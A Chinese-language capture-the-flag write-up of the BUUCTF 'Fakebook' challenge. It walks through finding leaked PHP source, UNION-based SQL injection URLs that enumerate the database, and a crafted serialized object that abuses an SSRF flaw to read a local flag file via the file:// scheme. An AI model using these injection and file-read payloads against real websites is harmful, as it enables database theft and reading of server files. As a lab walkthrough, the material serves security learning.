天道酬勤

【BUUCTF】— Fakebook

扫描网站目录发现了robots.txt,找到/user.php.bak

得到网站的源代码

<?php 
class UserInfo 
{ 
    public $name = ""; 
    public $age = 0; 
    public $blog = ""; 

    public function __construct($name, $age, $blog) 
    {   
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

上述代码中,没有对curl函数进行过滤,所以存在ssrf漏洞,因此我们可以利用file协议来读取本地文件。

这里补充一下ssrf漏洞的讲解ssrf漏洞

但是因为方法函数 isValidBlog(),对http处做了限制,导致我们不可以直接在注册处的blog进行读取。因此,我们需要另想别的办法。

接下来注册一个账号,最终找到一处注入点

http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=1

进行注入

http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata#

http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=-1++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema=%27fakebook%27#

http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=-1++union++select++1,group_concat(column_name),3,4++from++information_schema.columns++where++table_name=%27users%27#

http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=-1++union++select++1,group_concat(data),3,4++from++users#

到了这里我们就清楚了,我们注册时,输入的信息序列化之后送入到数据库。

待我们需要查看信息时,再将数据库的数据反序列化呈现在页面上。

因此,我们可以将file协议序列化。

<?php
	class UserInfo
{
    public $name = "admin";
    public $age = 123;
    public $blog = "file:///var/www/html/flag.php";
}
$data = new UserInfo();
echo serialize($data);

?>

序列化之后得到代码:

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

我们利用payload:

http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=-1++union++select++1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27#

得到:

右键查看源代码,便可找到flag。

 

写到这里,师傅们有看不懂的地方可以私信我。

赞(0) 打赏
未经允许不得转载:HackerGu‘s Blog » 【BUUCTF】— Fakebook
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!

 

专注黑客技术的研究

联系我们联系我们

觉得文章有用就打赏一下文章作者

微信扫一扫打赏